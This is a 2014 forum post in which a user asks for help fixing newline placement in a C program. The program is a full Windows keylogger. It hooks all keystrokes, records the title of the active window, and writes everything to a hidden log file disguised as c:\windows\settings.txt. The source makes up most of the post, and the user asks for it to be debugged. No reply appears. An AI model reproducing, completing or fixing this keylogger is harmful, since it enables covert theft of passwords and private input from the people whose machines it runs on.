-
April 26th, 2014, 01:30 PM
#1
Append more char's after newline character in txt file
Hello,
I'm trying append more characters to a txt file after write title of foreground window and a newline character, but after first character, the next appear after a newline. Here is result => http://prntscr.com/3de8vt and here is my code:
I'm using Dev C++ 4.9.9.2 compiler.
Code:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
using namespace std;
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void log(char *str);
char *translate(int vk, int up);
int shift = 0, caps = 0;
FILE *fd;
int main(int argc, char *argv[]) {
HINSTANCE app = GetModuleHandle(NULL);
SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, app, 0);
MSG msg;
const char *fname;
fname = "c:\\windows\\settings.txt";
fd = fopen(fname, "a");
SetFileAttributes("c:\\windows\\settings.txt",FILE_ATTRIBUTE_HIDDEN);
while (GetMessage(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
fflush(fd);
fclose(fd);
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
char window_text[500];
char old_window_text[500];
HWND fore_hndl = GetForegroundWindow();
KBDLLHOOKSTRUCT *kb=(KBDLLHOOKSTRUCT *)lParam;
char *str="";
char *str_window="";
if (wParam == WM_KEYUP) {
str = translate(kb->vkCode, 1);
} else if (wParam == WM_KEYDOWN) {
if (fore_hndl != NULL) {
if (GetWindowText(fore_hndl, (char*)&window_text, 499) != 0) {
if (strcmp(window_text, old_window_text) != 0) {
str_window = window_text;
strcpy(old_window_text, window_text);
}
}
}
str = translate(kb->vkCode, 0);
}
if (str_window)
log(str_window);
log("\n"); // snippet problematical for print in txt file as I haved said
if (str)
log(str);
return 0;
}
void log(char *str) {
fwrite(str, 1, strlen(str), fd);
if (strstr(str," ") || strstr(str,"[CR]")) fflush(fd);
}
char* translate(int vk, int up) {
char window_text[500];
char old_window_text[500];
HWND fore_hndl = GetForegroundWindow();
if (up) {
if ((vk == 0x10) || (vk == 0xa0) || (vk == 0xa1)) shift = 0;
return 0;
} else if ((vk==0x10)||(vk==0xa0)||(vk==0xa1)) {
shift=1; return 0;
}
char *buf = (char*)malloc(16);
memset(buf, 0, 16);
if (vk < 0x29) {
switch (vk) {
case 0x08: strcpy(buf, "[BS]"); break;
case 0x09: strcpy(buf, "\t"); break;
case 0x0D: strcpy(buf, "\n"); break;
case 0x14: caps ^= 1; break;
case 0x20: buf[0] = ' '; break;
}
return buf;
}
if (vk > 0x69 && vk < 0x70) {
buf[0] = (char)(vk - 0x40);
} else if (vk > 0x6f && vk < 0x88) {
sprintf(buf, "[F%d]", vk - 0x6f);
} else if (isalpha(vk)) {
if (!caps)
if (shift) { buf[0] = (char)(toupper(vk)); } else { buf[0] = (char)(tolower(vk)); }
else
if (!shift) { buf[0] = (char)(toupper(vk)); } else { buf[0] = (char)(tolower(vk)); }
} else {
switch (vk) {
case '1': if (!shift) {buf[0]=(char)vk;} else {buf[0]='!';} break;
case '2': if (!shift) {buf[0]=(char)vk;} else {buf[0]='@';} break;
case '3': if (!shift) {buf[0]=(char)vk;} else {buf[0]='#';} break;
case '4': if (!shift) {buf[0]=(char)vk;} else {buf[0]='$';} break;
case '5': if (!shift) {buf[0]=(char)vk;} else {buf[0]='%';} break;
case '6': if (!shift) {buf[0]=(char)vk;} else {buf[0]='^';} break;
case '7': if (!shift) {buf[0]=(char)vk;} else {buf[0]='&';} break;
case '8': if (!shift) {buf[0]=(char)vk;} else {buf[0]='*';} break;
case '9': if (!shift) {buf[0]=(char)vk;} else {buf[0]='(';} break;
case '0': if (!shift) {buf[0]=(char)vk;} else {buf[0]=')';} break;
case 0xba: if (!shift) {buf[0]=';';} else {buf[0]=':';} break;
case 0xbb: if (!shift) {buf[0]='=';} else {buf[0]='+';} break;
case 0xbc: if (!shift) {buf[0]=',';} else {buf[0]='<';} break;
case 0xbd: if (!shift) {buf[0]='-';} else {buf[0]='_';} break;
case 0xbe: if (!shift) {buf[0]='.';} else {buf[0]='>';} break;
case 0xbf: if (!shift) {buf[0]='/';} else {buf[0]='?';} break;
case 0xc0: if (!shift) {buf[0]='`';} else {buf[0]='~';} break;
case 0xdb: if (!shift) {buf[0]='[';} else {buf[0]='{';} break;
case 0xdc: if (!shift) {buf[0]='\\';} else {buf[0]='|';} break;
case 0xdd: if (!shift) {buf[0]=']';} else {buf[0]='}';} break;
case 0xde: if (!shift) {buf[0]='\'';} else {buf[0]='\"';} break;
}
}
return buf;
}
I have made some changes for this =>
Code:
if (str_window)
strcpy(str_window,str_window);
strcat(str_window,"\n");
log(str_window);
if (str)
log(str);
return 0;
}
Now print only first character in digitation after title of active window. Still printing wrong see => http://prntscr.com/3df8n5. Word "good" as sample.
Any suggestion will appreciated. Thanks in advanced!
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|